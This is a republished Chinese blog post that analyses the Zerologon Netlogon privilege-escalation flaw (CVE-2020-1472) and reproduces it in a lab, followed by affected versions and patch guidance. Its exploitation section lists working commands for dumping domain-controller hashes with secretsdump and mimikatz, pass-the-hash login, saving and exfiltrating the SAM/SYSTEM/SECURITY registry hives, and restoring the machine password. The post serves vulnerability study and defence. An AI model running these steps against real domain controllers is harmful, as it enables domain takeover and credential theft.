栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

CVE-2020-1472 Netlogon特权提升漏洞分析及复现

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

CVE-2020-1472 Netlogon特权提升漏洞分析及复现

0x01漏洞背景

NetLogon远程协议是一种在Windows 域控上使用的RPC 接口,被用于各种与用户和机器认证相关的任务。最常用于让用户使用NTLM协议登录服务器,也用于NTP响应认证以及更新计算机域密码。

微软MSRC于8月11日发布了Netlogon 特权提升漏洞安全通告。此漏洞CVE编号CVE-2020-1472,CVSS评分:10.0。由Secura公司的Tom Tervoort发现提交并命名为ZeroLogon。

0x02漏洞分析

Netlogon协议使用的是自定义的加密协议来让客户端(加入域的计算机)和服务器(域控制器)向对方证明加密,此共享加密是客户端计算机的HASH账户密码。Netlogon会话由客户端启动,因此客户端和服务器先交换随机的8个字节,客户端和服务器都先将密钥派生函数加密,然后客户端使用此会话密钥用于计算客户端凭据,服务器则重新计算相同的凭证,如果匹配,客户端必须知道计算机密码,因此客户端必须知道会话密钥。

在身份验证握手阶段时,双方可以协商是否加密和加密认证,如果加密被禁用,所有执行重要操作必须仍然包含认证值,也是用会话密钥计算的,该协议的通信流程如下:

攻击过程分析:

由于微软在Netlogon协议中进行AES加密运算过程中,使用了AES-CFB8模式并且错误的将IV设置为全零,这使得攻击者在明文(client chanllenge)、IV等要素可控的情况下,存在较高概率使得产生的密文为全零。

为了能够加密会话,必须指定初始化向量(IV)引导加密过程,这个IV值必须是唯一的,并为每个单独的随机生成用同一密钥加密的密文。

但是ComputeLogOnCreddential函数定义的IV是固定的,应该由16零字节组成,而AES-CFB8要求IV是随机的,对256个密钥中的1个将AES-CFB8加密应用全零字节明文将导致都是零密文。

Netlogon协议身份认证采用了挑战-响应机制,其中加密算法是AES-CFB8,并且IV默认全零,导致了该漏洞产生。又因为认证次数没做限制,签名功能客户端默认可选,使得漏洞可以被利用。

0x03利用过程

漏洞测试环境:

攻击机:10.10.10.6

域控:10.10.10.1

1.1 首先使用POC检测漏洞是否存在,如果存在会重置域控存储在域中(ntds.dit)的凭证,也就是将域控机器密码替换为空

还可以通过mimikatz直接进行漏洞检测

mimikatz “lsadump::zerologon /target:域控ip /account:域控主机名”

1.2 使用impacket工具包 secretsdump工具dump导出域内所有用户

hash python secretsdump.py hack.cn/DC$@10.10.10.1 -no-pass

1.3 利用导出的ntlm hash使用impacket工具包wmiexec.py工具使用NTLMhash登录域控

1.4 导出原sam.save、system.save、security.save文件本地导出hash用于恢复域控密码

reg save HKLMSYSTEM system.save
reg save HKLMSAM sam.save
reg save HKLMSECURITY security.save
get system.save
get sam.save
get security.save

下载完成后进行删除操作

del system.save
del sam.save
del security.save

1.5 使用mimikatz对导出下载的sam.save、system.save、security.save文件进行解密,用于后续密码恢复

python secretsdump.py-sam sam.save-system system.save-security security.save LOCAL

1.6 通过导出的原NTLMhash恢复域控密码

python reinstall_original_pw.py DC 10.10.10.1 e9d755619bd2c460cd769560584c6d0b

1.7 再次使用空密码尝试远程导出域控的ntlmhash,检测密码是否恢复成功,此时已经不能获取到hash了

0x04漏洞修复

漏洞影响范围:

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server
Core installation)

Windows Server 2012

Windows Server 2012 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 R2 (Server Core installation)

Windows Server 2016

Windows Server 2016 (Server Core installation)

Windows Server 2019

Windows Server 2019 (Server Core installation)

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

由于此漏洞影响范围较广,建议点击以下链接自行寻找符合操作系统版本的漏洞补丁,并进行补丁下载安装。

https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2020-1472
0x05总结

CVE-2020-1472(Zerologon)是一个比较好用的域内提权漏洞,影响Windows sever的多个版本,只要攻击者能访问到目标并且知道目标计算机名即可,在内网中是一个非常严重的漏洞,攻击者在利用漏洞时还会存在使域控脱域的风险。未打补丁机器的需要尽快修补。

声明

以上内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/751195.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号